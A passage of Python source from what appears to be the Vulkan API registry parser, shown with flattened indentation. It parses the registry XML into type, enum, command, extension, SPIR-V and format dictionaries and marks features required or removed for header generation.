# ** Global types for automatic source generation **
# Length Member data
self.commandextensiontuple = namedtuple('commandextensiontuple',
['command', # The name of the command being modified
'value', # The value to append to the command
'extension']) # The name of the extension that added it
self.validextensionstructs = defaultdict(list)
self.commandextensionsuccesses = []
self.commandextensionerrors = []
self.filename = None
def loadElementTree(self, tree):
"""Load ElementTree into a Registry object and parse it."""
self.tree = tree
self.parseTree()
def loadFile(self, file):
"""Load an API registry XML file into a Registry object and parse it"""
self.filename = file
self.tree = etree.parse(file)
self.parseTree()
def setGenerator(self, gen):
"""Specify output generator object.
`None` restores the default generator."""
self.gen = gen
self.gen.setRegistry(self)
def addElementInfo(self, elem, info, infoName, dictionary):
"""Add information about an element to the corresponding dictionary.
Intended for internal use only.
- elem - `<type>`/`<enums>`/`<enum>`/`<command>`/`<feature>`/`<extension>`/`<spirvextension>`/`<spirvcapability>`/`<format>` Element
- info - corresponding {Type|Group|Enum|Cmd|Feature|Spirv}Info object
- infoName - 'type' / 'group' / 'enum' / 'command' / 'feature' / 'extension' / 'spirvextension' / 'spirvcapability' / 'format'
- dictionary - self.{type|group|enum|cmd|api|ext|format|spirvext|spirvcap}dict
The dictionary key is the element 'name' attribute."""
# self.gen.logMsg('diag', 'Adding ElementInfo.required =',
# info.required, 'name =', elem.get('name'))
key = elem.get('name')
if key in dictionary:
if not dictionary[key].compareElem(info, infoName):
self.gen.logMsg('warn', 'Attempt to redefine', key,
'(this should not happen)')
else:
dictionary[key] = info
def lookupElementInfo(self, fname, dictionary):
"""Find a {Type|Enum|Cmd}Info object by name.
Intended for internal use only.
If an object qualified by API name exists, use that.
- fname - name of type / enum / command
- dictionary - self.{type|enum|cmd}dict"""
key = (fname, self.genOpts.apiname)
if key in dictionary:
# self.gen.logMsg('diag', 'Found API-specific element for feature', fname)
return dictionary[key]
if fname in dictionary:
# self.gen.logMsg('diag', 'Found generic element for feature', fname)
return dictionary[fname]
return None
def breakOnName(self, regexp):
"""Specify a feature name regexp to break on when generating features."""
self.breakPat = re.compile(regexp)
def parseTree(self):
"""Parse the registry Element, once created"""
# This must be the Element for the root <registry>
self.reg = self.tree.getroot()
# Preprocess the tree by removing all elements with non-matching
# 'api' attributes by breadth-first tree traversal.
# This is a blunt hammer, but eliminates the need to track and test
# the apis deeper in processing to select the correct elements and
# avoid duplicates.
# Schema validation should prevent duplicate elements with
# overlapping api attributes, or where one element has an api
# attribute and the other does not.
stripNonmatchingAPIs(self.reg, self.genOpts.apiname, actuallyDelete = True)
# Create dictionary of registry types from toplevel <types> tags
# and add 'name' attribute to each <type> tag (where missing)
# based on its <name> element.
#
# There is usually one <types> block; more are OK
# Required <type> attributes: 'name' or nested <name> tag contents
self.typedict = {}
for type_elem in self.reg.findall('types/type'):
# If the <type> does not already have a 'name' attribute, set
# it from contents of its <name> tag.
if type_elem.get('name') is None:
type_elem.set('name', type_elem.find('name').text)
self.addElementInfo(type_elem, TypeInfo(type_elem), 'type', self.typedict)
# Create dictionary of registry enum groups from <enums> tags.
#
# Required <enums> attributes: 'name'. If no name is given, one is
# generated, but that group cannot be identified and turned into an
# enum type definition - it is just a container for <enum> tags.
self.groupdict = {}
for group in self.reg.findall('enums'):
self.addElementInfo(group, GroupInfo(group), 'group', self.groupdict)
# Create dictionary of registry enums from <enum> tags
#
# <enums> tags usually define different namespaces for the values
# defined in those tags, but the actual names all share the
# same dictionary.
# Required <enum> attributes: 'name', 'value'
# For containing <enums> which have type="enum" or type="bitmask",
# tag all contained <enum>s are required. This is a stopgap until
# a better scheme for tagging core and extension enums is created.
self.enumdict = {}
for enums in self.reg.findall('enums'):
required = (enums.get('type') is not None)
for enum in enums.findall('enum'):
enumInfo = EnumInfo(enum)
enumInfo.required = required
self.addElementInfo(enum, enumInfo, 'enum', self.enumdict)
# Create dictionary of registry commands from <command> tags
# and add 'name' attribute to each <command> tag (where missing)
# based on its <proto><name> element.
#
# There is usually only one <commands> block; more are OK.
# Required <command> attributes: 'name' or <proto><name> tag contents
self.cmddict = {}
# List of commands which alias others. Contains
# [ aliasName, element ]
# for each alias
cmdAlias = []
for cmd in self.reg.findall('commands/command'):
# If the <command> does not already have a 'name' attribute, set
# it from contents of its <proto><name> tag.
name = cmd.get('name')
if name is None:
name = cmd.set('name', cmd.find('proto/name').text)
ci = CmdInfo(cmd)
self.addElementInfo(cmd, ci, 'command', self.cmddict)
alias = cmd.get('alias')
if alias:
cmdAlias.append([name, alias, cmd])
# Now loop over aliases, injecting a copy of the aliased command's
# Element with the aliased prototype name replaced with the command
# name - if it exists.
for (name, alias, cmd) in cmdAlias:
if alias in self.cmddict:
aliasInfo = self.cmddict[alias]
cmdElem = copy.deepcopy(aliasInfo.elem)
cmdElem.find('proto/name').text = name
cmdElem.set('name', name)
cmdElem.set('alias', alias)
ci = CmdInfo(cmdElem)
# Replace the dictionary entry for the CmdInfo element
self.cmddict[name] = ci
# @ newString = etree.tostring(base, encoding="unicode").replace(aliasValue, aliasName)
# @elem.append(etree.fromstring(replacement))
else:
self.gen.logMsg('warn', 'No matching <command> found for command',
cmd.get('name'), 'alias', alias)
# Create dictionaries of API and extension interfaces
# from toplevel <api> and <extension> tags.
self.apidict = {}
for feature in self.reg.findall('feature'):
featureInfo = FeatureInfo(feature)
self.addElementInfo(feature, featureInfo, 'feature', self.apidict)
# Add additional enums defined only in <feature> tags
# to the corresponding enumerated type.
# When seen here, the <enum> element, processed to contain the
# numeric enum value, is added to the corresponding <enums>
# element, as well as adding to the enum dictionary. It is no
# longer removed from the <require> element it is introduced in.
# Instead, generateRequiredInterface ignores <enum> elements
# that extend enumerated types.
#
# For <enum> tags which are actually just constants, if there is
# no 'extends' tag but there is a 'value' or 'bitpos' tag, just
# add an EnumInfo record to the dictionary. That works because
# output generation of constants is purely dependency-based, and
# does not need to iterate through the XML tags.
for elem in feature.findall('require'):
for enum in elem.findall('enum'):
addEnumInfo = False
groupName = enum.get('extends')
if groupName is not None:
# self.gen.logMsg('diag', 'Found extension enum',
# enum.get('name'))
# Add version number attribute to the <enum> element
enum.set('version', featureInfo.version)
# Look up the GroupInfo with matching groupName
if groupName in self.groupdict:
# self.gen.logMsg('diag', 'Matching group',
# groupName, 'found, adding element...')
gi = self.groupdict[groupName]
gi.elem.append(copy.deepcopy(enum))
else:
self.gen.logMsg('warn', 'NO matching group',
groupName, 'for enum', enum.get('name'), 'found.')
addEnumInfo = True
elif enum.get('value') or enum.get('bitpos') or enum.get('alias'):
# self.gen.logMsg('diag', 'Adding extension constant "enum"',
# enum.get('name'))
addEnumInfo = True
if addEnumInfo:
enumInfo = EnumInfo(enum)
self.addElementInfo(enum, enumInfo, 'enum', self.enumdict)
self.extensions = self.reg.findall('extensions/extension')
self.extdict = {}
for feature in self.extensions:
featureInfo = FeatureInfo(feature)
self.addElementInfo(feature, featureInfo, 'extension', self.extdict)
# Add additional enums defined only in <extension> tags
# to the corresponding core type.
# Algorithm matches that of enums in a "feature" tag as above.
#
# This code also adds a 'extnumber' attribute containing the
# extension number, used for enumerant value calculation.
for elem in feature.findall('require'):
for enum in elem.findall('enum'):
addEnumInfo = False
groupName = enum.get('extends')
if groupName is not None:
# self.gen.logMsg('diag', 'Found extension enum',
# enum.get('name'))
# Add <extension> block's extension number attribute to
# the <enum> element unless specified explicitly, such
# as when redefining an enum in another extension.
extnumber = enum.get('extnumber')
if not extnumber:
enum.set('extnumber', featureInfo.number)
enum.set('extname', featureInfo.name)
enum.set('supported', featureInfo.supported)
# Look up the GroupInfo with matching groupName
if groupName in self.groupdict:
# self.gen.logMsg('diag', 'Matching group',
# groupName, 'found, adding element...')
gi = self.groupdict[groupName]
gi.elem.append(copy.deepcopy(enum))
else:
self.gen.logMsg('warn', 'NO matching group',
groupName, 'for enum', enum.get('name'), 'found.')
addEnumInfo = True
elif enum.get('value') or enum.get('bitpos') or enum.get('alias'):
# self.gen.logMsg('diag', 'Adding extension constant "enum"',
# enum.get('name'))
addEnumInfo = True
if addEnumInfo:
enumInfo = EnumInfo(enum)
self.addElementInfo(enum, enumInfo, 'enum', self.enumdict)
# Construct a "validextensionstructs" list for parent structures
# based on "structextends" tags in child structures
disabled_types = []
for disabled_ext in self.reg.findall('extensions/extension[@supported="disabled"]'):
for type_elem in disabled_ext.findall("*/type"):
disabled_types.append(type_elem.get('name'))
for type_elem in self.reg.findall('types/type'):
if type_elem.get('name') not in disabled_types:
parentStructs = type_elem.get('structextends')
if parentStructs is not None:
for parent in parentStructs.split(','):
# self.gen.logMsg('diag', type.get('name'), 'extends', parent)
self.validextensionstructs[parent].append(type_elem.get('name'))
# Sort the lists so they do not depend on the XML order
for parent in self.validextensionstructs:
self.validextensionstructs[parent].sort()
# Parse out all spirv tags in dictionaries
# Use addElementInfo to catch duplicates
for spirv in self.reg.findall('spirvextensions/spirvextension'):
spirvInfo = SpirvInfo(spirv)
self.addElementInfo(spirv, spirvInfo, 'spirvextension', self.spirvextdict)
for spirv in self.reg.findall('spirvcapabilities/spirvcapability'):
spirvInfo = SpirvInfo(spirv)
self.addElementInfo(spirv, spirvInfo, 'spirvcapability', self.spirvcapdict)
for format in self.reg.findall('formats/format'):
formatInfo = FormatInfo(format)
self.addElementInfo(format, formatInfo, 'format', self.formatsdict)
def dumpReg(self, maxlen=120, filehandle=sys.stdout):
"""Dump all the dictionaries constructed from the Registry object.
Diagnostic to dump the dictionaries to specified file handle (default stdout).
Truncates type / enum / command elements to maxlen characters (default 120)"""
write('***************************************', file=filehandle)
write(' ** Dumping Registry contents **', file=filehandle)
write('***************************************', file=filehandle)
write('// Types', file=filehandle)
for name in self.typedict:
tobj = self.typedict[name]
write(' Type', name, '->', etree.tostring(tobj.elem)[0:maxlen], file=filehandle)
write('// Groups', file=filehandle)
for name in self.groupdict:
gobj = self.groupdict[name]
write(' Group', name, '->', etree.tostring(gobj.elem)[0:maxlen], file=filehandle)
write('// Enums', file=filehandle)
for name in self.enumdict:
eobj = self.enumdict[name]
write(' Enum', name, '->', etree.tostring(eobj.elem)[0:maxlen], file=filehandle)
write('// Commands', file=filehandle)
for name in self.cmddict:
cobj = self.cmddict[name]
write(' Command', name, '->', etree.tostring(cobj.elem)[0:maxlen], file=filehandle)
write('// APIs', file=filehandle)
for key in self.apidict:
write(' API Version ', key, '->',
etree.tostring(self.apidict[key].elem)[0:maxlen], file=filehandle)
write('// Extensions', file=filehandle)
for key in self.extdict:
write(' Extension', key, '->',
etree.tostring(self.extdict[key].elem)[0:maxlen], file=filehandle)
write('// SPIR-V', file=filehandle)
for key in self.spirvextdict:
write(' SPIR-V Extension', key, '->',
etree.tostring(self.spirvextdict[key].elem)[0:maxlen], file=filehandle)
for key in self.spirvcapdict:
write(' SPIR-V Capability', key, '->',
etree.tostring(self.spirvcapdict[key].elem)[0:maxlen], file=filehandle)
write('// VkFormat', file=filehandle)
for key in self.formatsdict:
write(' VkFormat', key, '->',
etree.tostring(self.formatsdict[key].elem)[0:maxlen], file=filehandle)
def markTypeRequired(self, typename, required):
"""Require (along with its dependencies) or remove (but not its dependencies) a type.
- typename - name of type
- required - boolean (to tag features as required or not)
"""
self.gen.logMsg('diag', 'tagging type:', typename, '-> required =', required)
# Get TypeInfo object for <type> tag corresponding to typename
typeinfo = self.lookupElementInfo(typename, self.typedict)
if typeinfo is not None:
if required:
# Tag type dependencies in 'alias' and 'required' attributes as
# required. This does not un-tag dependencies in a <remove>
# tag. See comments in markRequired() below for the reason.
for attrib_name in ['requires', 'alias']:
depname = typeinfo.elem.get(attrib_name)
if depname:
self.gen.logMsg('diag', 'Generating dependent type',
depname, 'for', attrib_name, 'type', typename)
# Do not recurse on self-referential structures.
if typename != depname:
self.markTypeRequired(depname, required)
else:
self.gen.logMsg('diag', 'type', typename, 'is self-referential')
# Tag types used in defining this type (e.g. in nested
# <type> tags)
# Look for <type> in entire <command> tree,
# not just immediate children
for subtype in typeinfo.elem.findall('.//type'):
self.gen.logMsg('diag', 'markRequired: type requires dependent <type>', subtype.text)
if typename != subtype.text:
self.markTypeRequired(subtype.text, required)
else:
self.gen.logMsg('diag', 'type', typename, 'is self-referential')
# Tag enums used in defining this type, for example in
# <member><name>member</name>[<enum>MEMBER_SIZE</enum>]</member>
for subenum in typeinfo.elem.findall('.//enum'):
self.gen.logMsg('diag', 'markRequired: type requires dependent <enum>', subenum.text)
self.markEnumRequired(subenum.text, required)
# Tag type dependency in 'bitvalues' attributes as
# required. This ensures that the bit values for a flag
# are emitted
depType = typeinfo.elem.get('bitvalues')
if depType:
self.gen.logMsg('diag', 'Generating bitflag type',
depType, 'for type', typename)
self.markTypeRequired(depType, required)
group = self.lookupElementInfo(depType, self.groupdict)
if group is not None:
group.flagType = typeinfo
typeinfo.required = required
elif '.h' not in typename:
self.gen.logMsg('warn', 'type:', typename, 'IS NOT DEFINED')
def markEnumRequired(self, enumname, required):
"""Mark an enum as required or not.
- enumname - name of enum
- required - boolean (to tag features as required or not)"""
self.gen.logMsg('diag', 'markEnumRequired: tagging enum:', enumname, '-> required =', required)
enum = self.lookupElementInfo(enumname, self.enumdict)
if enum is not None:
# If the enum is part of a group, and is being removed, then
# look it up in that <enums> tag and remove the Element there,
# so that it is not visible to generators (which traverse the
# <enums> tag elements rather than using the dictionaries).
if not required:
groupName = enum.elem.get('extends')
if groupName is not None:
self.gen.logMsg('diag', f'markEnumRequired: Removing extending enum {enum.elem.get("name")}')
# Look up the Info with matching groupName
if groupName in self.groupdict:
gi = self.groupdict[groupName]
gienum = gi.elem.find("enum[@name='" + enumname + "']")
if gienum is not None:
# Remove copy of this enum from the group
gi.elem.remove(gienum)
else:
self.gen.logMsg('warn', 'markEnumRequired: Cannot remove enum',
enumname, 'not found in group',
groupName)
else:
self.gen.logMsg('warn', 'markEnumRequired: Cannot remove enum',
enumname, 'from nonexistent group',
groupName)
else:
# This enum is not an extending enum.
# The XML tree must be searched for all <enums> that
# might have it, so we know the parent to delete from.
enumName = enum.elem.get('name')
self.gen.logMsg('diag', f'markEnumRequired: Removing non-extending enum {enumName}')
count = 0
for enums in self.reg.findall('enums'):
for thisEnum in enums.findall('enum'):
if thisEnum.get('name') == enumName:
# Actually remove it
count = count + 1
enums.remove(thisEnum)
if count == 0:
self.gen.logMsg('warn', f'markEnumRequired: {enumName}) not found in any <enums> tag')
enum.required = required
# Tag enum dependencies in 'alias' attribute as required
depname = enum.elem.get('alias')
if depname:
self.gen.logMsg('diag', 'markEnumRequired: Generating dependent enum',
depname, 'for alias', enumname, 'required =', enum.required)
self.markEnumRequired(depname, required)
else:
self.gen.logMsg('warn', f'markEnumRequired: {enumname} IS NOT DEFINED')
def markCmdRequired(self, cmdname, required):
"""Mark a command as required or not.
- cmdname - name of command
- required - boolean (to tag features as required or not)"""
self.gen.logMsg('diag', 'tagging command:', cmdname, '-> required =', required)
cmd = self.lookupElementInfo(cmdname, self.cmddict)
if cmd is not None:
cmd.required = required
# Tag command dependencies in 'alias' attribute as required
#
# This is usually not done, because command 'aliases' are not
# actual C language aliases like type and enum aliases. Instead
# they are just duplicates of the function signature of the
# alias. This means that there is no dependency of a command
# alias on what it aliases. One exception is validity includes,
# where the spec markup needs the promoted-to validity include
# even if only the promoted-from command is being built.
if self.genOpts.requireCommandAliases:
depname = cmd.elem.get('alias')
if depname:
self.gen.logMsg('diag', 'Generating dependent command',
depname, 'for alias', cmdname)
self.markCmdRequired(depname, required)
# Tag all parameter types of this command as required.
# This DOES NOT remove types of commands in a <remove>
# tag, because many other commands may use the same type.
# We could be more clever and reference count types,
# instead of using a boolean.
if required:
# Look for <type> in entire <command> tree,
# not just immediate children
for type_elem in cmd.elem.findall('.//type'):
self.gen.logMsg('diag', 'markRequired: command implicitly requires dependent type', type_elem.text)
self.markTypeRequired(type_elem.text, required)
else:
self.gen.logMsg('warn', 'command:', cmdname, 'IS NOT DEFINED')
def markRequired(self, featurename, feature, required):
"""Require or remove features specified in the Element.
- featurename - name of the feature
- feature - Element for `<require>` or `<remove>` tag
- required - boolean (to tag features as required or not)"""
self.gen.logMsg('diag', 'markRequired (feature = <too long to print>, required =', required, ')')
# Loop over types, enums, and commands in the tag
# @@ It would be possible to respect 'api' and 'profile' attributes
# in individual features, but that is not done yet.
for typeElem in feature.findall('type'):
self.markTypeRequired(typeElem.get('name'), required)
for enumElem in feature.findall('enum'):
self.markEnumRequired(enumElem.get('name'), required)
for cmdElem in feature.findall('command'):
self.markCmdRequired(cmdElem.get('name'), required)
# Extensions may need to extend existing commands or other items in the future.
# So, look for extend tags.
for extendElem in feature.findall('extend'):
extendType = extendElem.get('type')
if extendType == 'command':
commandName = extendElem.get('name')
successExtends = extendElem.get('successcodes')
if successExtends is not None:
for success in successExtends.split(','):
self.commandextensionsuccesses.append(self.commandextensiontuple(command=commandName,
value=success,
extension=featurename))
errorExtends = extendElem.get('errorcodes')
if errorExtends is not None:
for error in errorExtends.split(','):
self.commandextensionerrors.append(self.commandextensiontuple(command=commandName,
value=error,
extension=featurename))
else:
self.gen.logMsg('warn', 'extend type:', extendType, 'IS NOT SUPPORTED')
def getAlias(self, elem, dict):
"""Check for an alias in the same require block.
- elem - Element to check for an alias"""
# Try to find an alias
alias = elem.get('alias')
if alias is None:
name = elem.get('name')
typeinfo = self.lookupElementInfo(name, dict)
alias = typeinfo.elem.get('alias')
return alias
def checkForCorrectionAliases(self, alias, require, tag):
"""Check for an alias in the same require block.
- alias - String name of the alias
- require - `<require>` block from the registry
- tag - tag to look for in the require block"""
# For the time being, the code below is bypassed. It has the effect
# of excluding "spelling aliases" created to comply with the style
# guide, but this leaves references out of the specification and
# causes broken internal links.
#
# if alias and require.findall(tag + "[@name='" + alias + "']"):
# return True
return False
def fillFeatureDictionary(self, interface, featurename, api, profile):
"""Capture added interfaces for a `<version>` or `<extension>`.
- interface - Element for `<version>` or `<extension>`, containing
`<require>` and `<remove>` tags
- featurename - name of the feature
- api - string specifying API name being generated
- profile - string specifying API profile being generated"""
# Explicitly initialize known types - errors for unhandled categories
self.gen.featureDictionary[featurename] = {
"enumconstant": {},
"command": {},
"enum": {},
"struct": {},
"handle": {},
"basetype": {},
"include": {},
"define": {},
"bitmask": {},
"union": {},
"funcpointer": {},
}
# <require> marks things that are required by this version/profile
for require in interface.findall('require'):
if matchAPIProfile(api, profile, require):
# Determine the required extension or version needed for a require block
# Assumes that only one of these is specified
required_key = require.get('feature')
if required_key is None:
required_key = require.get('extension')
# Loop over types, enums, and commands in the tag
for typeElem in require.findall('type'):
typename = typeElem.get('name')
typeinfo = self.lookupElementInfo(typename, self.typedict)
if typeinfo:
# Remove aliases in the same extension/feature; these are always added as a correction. Do not need the original to be visible.
alias = self.getAlias(typeElem, self.typedict)
if not self.checkForCorrectionAliases(alias, require, 'type'):
# Resolve the type info to the actual type, so we get an accurate read for 'structextends'
while alias:
typeinfo = self.lookupElementInfo(alias, self.typedict)
alias = typeinfo.elem.get('alias')
typecat = typeinfo.elem.get('category')
typeextends = typeinfo.elem.get('structextends')
if not required_key in self.gen.featureDictionary[featurename][typecat]:
self.gen.featureDictionary[featurename][typecat][required_key] = {}
if not typeextends in self.gen.featureDictionary[featurename][typecat][required_key]:
self.gen.featureDictionary[featurename][typecat][required_key][typeextends] = []
self.gen.featureDictionary[featurename][typecat][required_key][typeextends].append(typename)
else:
self.gen.logMsg('warn', 'fillFeatureDictionary: NOT filling for {}'.format(typename))
for enumElem in require.findall('enum'):
enumname = enumElem.get('name')
typeinfo = self.lookupElementInfo(enumname, self.enumdict)
# Remove aliases in the same extension/feature; these are always added as a correction. Do not need the original to be visible.
alias = self.getAlias(enumElem, self.enumdict)
if not self.checkForCorrectionAliases(alias, require, 'enum'):
enumextends = enumElem.get('extends')
if not required_key in self.gen.featureDictionary[featurename]['enumconstant']:
self.gen.featureDictionary[featurename]['enumconstant'][required_key] = {}
if not enumextends in self.gen.featureDictionary[featurename]['enumconstant'][required_key]:
self.gen.featureDictionary[featurename]['enumconstant'][required_key][enumextends] = []
self.gen.featureDictionary[featurename]['enumconstant'][required_key][enumextends].append(enumname)
else:
self.gen.logMsg('warn', 'fillFeatureDictionary: NOT filling for {}'.format(typename))
for cmdElem in require.findall('command'):
# Remove aliases in the same extension/feature; these are always added as a correction. Do not need the original to be visible.
alias = self.getAlias(cmdElem, self.cmddict)
if not self.checkForCorrectionAliases(alias, require, 'command'):
if not required_key in self.gen.featureDictionary[featurename]['command']:
self.gen.featureDictionary[featurename]['command'][required_key] = []
self.gen.featureDictionary[featurename]['command'][required_key].append(cmdElem.get('name'))
else:
self.gen.logMsg('warn', 'fillFeatureDictionary: NOT filling for {}'.format(typename))
def requireFeatures(self, interface, featurename, api, profile):
"""Process `<require>` tags for a `<version>` or `<extension>`.
- interface - Element for `<version>` or `<extension>`, containing
`<require>` tags
- featurename - name of the feature
- api - string specifying API name being generated
- profile - string specifying API profile being generated"""
# <require> marks things that are required by this version/profile
for feature in interface.findall('require'):
if matchAPIProfile(api, profile, feature):
self.markRequired(featurename, feature, True)
def removeFeatures(self, interface, featurename, api, profile):
"""Process `<remove>` tags for a `<version>` or `<extension>`.
- interface - Element for `<version>` or `<extension>`, containing
`<remove>` tags
- featurename - name of the feature
- api - string specifying API name being generated
- profile - string specifying API profile being generated"""
# <remove> marks things that are removed by this version/profile
for feature in interface.findall('remove'):
if matchAPIProfile(api, profile, feature):
self.markRequired(featurename, feature, False)
def assignAdditionalValidity(self, interface, api, profile):
# Loop over all usage inside all <require> tags.
for feature in interface.findall('require'):
if matchAPIProfile(api, profile, feature):
for v in feature.findall('usage'):
if v.get('command'):
self.cmddict[v.get('command')].additionalValidity.append(copy.deepcopy(v))
if v.get('struct'):
self.typedict[v.get('struct')].additionalValidity.append(copy.deepcopy(v))
def removeAdditionalValidity(self, interface, api, profile):
# Loop over all usage inside all <remove> tags.
for feature in interface.findall('remove'):
if matchAPIProfile(api, profile, feature):
for v in feature.findall('usage'):
if v.get('command'):
self.cmddict[v.get('command')].removedValidity.append(copy.deepcopy(v))
if v.get('struct'):
self.typedict[v.get('struct')].removedValidity.append(copy.deepcopy(v))
def generateFeature(self, fname, ftype, dictionary):
"""Generate a single type / enum group / enum / command,
and all its dependencies as needed.
- fname - name of feature (`<type>`/`<enum>`/`<command>`)
- ftype - type of feature, 'type' | 'enum' | 'command'
- dictionary - of *Info objects - self.{type|enum|cmd}dict"""
self.gen.logMsg('diag', 'generateFeature: generating', ftype, fname)
f = self.lookupElementInfo(fname, dictionary)
if f is None:
# No such feature. This is an error, but reported earlier
self.gen.logMsg('diag', 'No entry found for feature', fname,
'returning!')
return
# If feature is not required, or has already been declared, return
if not f.required:
self.gen.logMsg('diag', 'Skipping', ftype, fname, '(not required)')
return
if f.declared:
self.gen.logMsg('diag', 'Skipping', ftype, fname, '(already declared)')
return
# Always mark feature declared, as though actually emitted
f.declared = True
# Determine if this is an alias, and of what, if so
alias = f.elem.get('alias')
if alias:
self.gen.logMsg('diag', fname, 'is an alias of', alias)
# Pull in dependent declaration(s) of the feature.
# For types, there may be one type in the 'requires' attribute of
# the element, one in the 'alias' attribute, and many in
# embedded <type> and <enum> tags within the element.
# For commands, there may be many in <type> tags within the element.
# For enums, no dependencies are allowed (though perhaps if you
# have a uint64 enum, it should require that type).
genProc = None
followupFeature = None
if ftype == 'type':
genProc = self.gen.genType
# Generate type dependencies in 'alias' and 'requires' attributes
if alias:
self.generateFeature(alias, 'type', self.typedict)
requires = f.elem.get('requires')
if requires:
self.gen.logMsg('diag', 'Generating required dependent type',
requires)
self.generateFeature(requires, 'type', self.typedict)
# Generate types used in defining this type (e.g. in nested
# <type> tags)
# Look for <type> in entire <command> tree,
# not just immediate children
for subtype in f.elem.findall('.//type'):
self.gen.logMsg('diag', 'Generating required dependent <type>',
subtype.text)
self.generateFeature(subtype.text, 'type', self.typedict)
# Generate enums used in defining this type, for example in
# <member><name>member</name>[<enum>MEMBER_SIZE</enum>]</member>
for subtype in f.elem.findall('.//enum'):
self.gen.logMsg('diag', 'Generating required dependent <enum>',
subtype.text)
self.generateFeature(subtype.text, 'enum', self.enumdict)
# If the type is an enum group, look up the corresponding
# group in the group dictionary and generate that instead.
if f.elem.get('category') == 'enum':
self.gen.logMsg('diag', 'Type', fname, 'is an enum group, so generate that instead')
group = self.lookupElementInfo(fname, self.groupdict)
if alias is not None:
# An alias of another group name.
# Pass to genGroup with 'alias' parameter = aliased name
self.gen.logMsg('diag', 'Generating alias', fname,
'for enumerated type', alias)
# Now, pass the *aliased* GroupInfo to the genGroup, but
# with an additional parameter which is the alias name.
genProc = self.gen.genGroup
f = self.lookupElementInfo(alias, self.groupdict)
elif group is None:
self.gen.logMsg('warn', 'Skipping enum type', fname,
': No matching enumerant group')
return
else:
genProc = self.gen.genGroup
f = group
# @ The enum group is not ready for generation. At this
# @ point, it contains all <enum> tags injected by
# @ <extension> tags without any verification of whether
# @ they are required or not. It may also contain
# @ duplicates injected by multiple consistent
# @ definitions of an <enum>.
# @ Pass over each enum, marking its enumdict[] entry as
# @ required or not. Mark aliases of enums as required,
# @ too.
enums = group.elem.findall('enum')
self.gen.logMsg('diag', 'generateFeature: checking enums for group', fname)
# Check for required enums, including aliases
# LATER - Check for, report, and remove duplicates?
enumAliases = []
for elem in enums:
name = elem.get('name')
required = False
extname = elem.get('extname')
version = elem.get('version')
if extname is not None:
# 'supported' attribute was injected when the <enum> element was
# moved into the <enums> group in Registry.parseTree()
supported_list = elem.get('supported').split(",")
if self.genOpts.defaultExtensions in supported_list:
required = True
elif re.match(self.genOpts.addExtensions, extname) is not None:
required = True
elif version is not None:
required = re.match(self.genOpts.emitversions, version) is not None
else:
required = True
self.gen.logMsg('diag', '* required =', required, 'for', name)
if required:
# Mark this element as required (in the element, not the EnumInfo)
elem.set('required', 'true')
# If it is an alias, track that for later use
enumAlias = elem.get('alias')
if enumAlias:
enumAliases.append(enumAlias)
for elem in enums:
name = elem.get('name')
if name in enumAliases:
elem.set('required', 'true')
self.gen.logMsg('diag', '* also need to require alias', name)
if f.elem.get('category') == 'bitmask':
followupFeature = f.elem.get('bitvalues')
elif ftype == 'command':
# Generate command dependencies in 'alias' attribute
if alias:
self.generateFeature(alias, 'command', self.cmddict)
genProc = self.gen.genCmd
for type_elem in f.elem.findall('.//type'):
depname = type_elem.text
self.gen.logMsg('diag', 'Generating required parameter type',
depname)
self.generateFeature(depname, 'type', self.typedict)
elif ftype == 'enum':
# Generate enum dependencies in 'alias' attribute
if alias:
self.generateFeature(alias, 'enum', self.enumdict)
genProc = self.gen.genEnum
# Actually generate the type only if emitting declarations
if self.emitFeatures:
self.gen.logMsg('diag', 'Emitting', ftype, 'decl for', fname)
genProc(f, fname, alias)
else:
self.gen.logMsg('diag', 'Skipping', ftype, fname,
'(should not be emitted)')
if followupFeature:
self.gen.logMsg('diag', 'Generating required bitvalues <enum>',
followupFeature)
self.generateFeature(followupFeature, "type", self.typedict)
def generateRequiredInterface(self, interface):
"""Generate all interfaces required by an API version or extension.
- interface - Element for `<version>` or `<extension>`"""
# Loop over all features inside all <require> tags.
for features in interface.findall('require'):
for t in features.findall('type'):
self.generateFeature(t.get('name'), 'type', self.typedict)
for e in features.findall('enum'):
# If this is an enum extending an enumerated type, do not
# generate it - this has already been done in reg.parseTree,
# by copying this element into the enumerated type.
enumextends = e.get('extends')
if not enumextends:
self.generateFeature(e.get('name'), 'enum', self.enumdict)
for c in features.findall('command'):
self.generateFeature(c.get('name'), 'command', self.cmddict)
def generateSpirv(self, spirv, dictionary):
if spirv is None:
self.gen.logMsg('diag', 'No entry found for element', name,
'returning!')
return
name = spirv.elem.get('name')
# No known alias for spirv elements
alias = None
if spirv.emit:
genProc = self.gen.genSpirv
genProc(spirv, name, alias)
def stripUnsupportedAPIs(self, dictionary, attribute, supportedDictionary):
"""Strip unsupported APIs from attributes of APIs.
dictionary - *Info dictionary of APIs to be updated
attribute - attribute name to look for in each API
supportedDictionary - dictionary in which to look for supported
API elements in the attribute"""
for key in dictionary:
eleminfo = dictionary[key]
attribstring = eleminfo.elem.get(attribute)
if attribstring is not None:
apis = []
stripped = False
for api in attribstring.split(','):
##print('Checking API {} referenced by {}'.format(api, key))
if supportedDictionary[api].required:
apis.append(api)
else:
stripped = True
##print('\t**STRIPPING API {} from {}'.format(api, key))
# Update the attribute after stripping stuff.
# Could sort apis before joining, but it is not a clear win
if stripped:
eleminfo.elem.set(attribute, ','.join(apis))
def generateFormat(self, format, dictionary):
if format is None:
self.gen.logMsg('diag', 'No entry found for format element',
'returning!')
return
name = format.elem.get('name')
# No known alias for VkFormat elements
alias = None
if format.emit:
genProc = self.gen.genFormat
genProc(format, name, alias)
def apiGen(self):
"""Generate interface for specified versions using the current
generator and generator options"""
self.gen.logMsg('diag', '*******************************************')
self.gen.logMsg('diag', ' Registry.apiGen file:', self.genOpts.filename,
'api:', self.genOpts.apiname,
'profile:', self.genOpts.profile)
self.gen.logMsg('diag', '*******************************************')
# Could reset required/declared flags for all features here.
# This has been removed as never used. The initial motivation was
# the idea of calling apiGen() repeatedly for different targets, but
# this has never been done. The 20% or so build-time speedup that
# might result is not worth the effort to make it actually work.
#
# self.apiReset()
# Compile regexps used to select versions & extensions
regVersions = re.compile(self.genOpts.versions)
regEmitVersions = re.compile(self.genOpts.emitversions)
regAddExtensions = re.compile(self.genOpts.addExtensions)
regRemoveExtensions = re.compile(self.genOpts.removeExtensions)
regEmitExtensions = re.compile(self.genOpts.emitExtensions)
regEmitSpirv = re.compile(self.genOpts.emitSpirv)
regEmitFormats = re.compile(self.genOpts.emitFormats)
# Get all matching API feature names & add to list of FeatureInfo
# Note we used to select on feature version attributes, not names.
features = []
apiMatch = False
for key in self.apidict:
fi = self.apidict[key]
api = fi.elem.get('api')
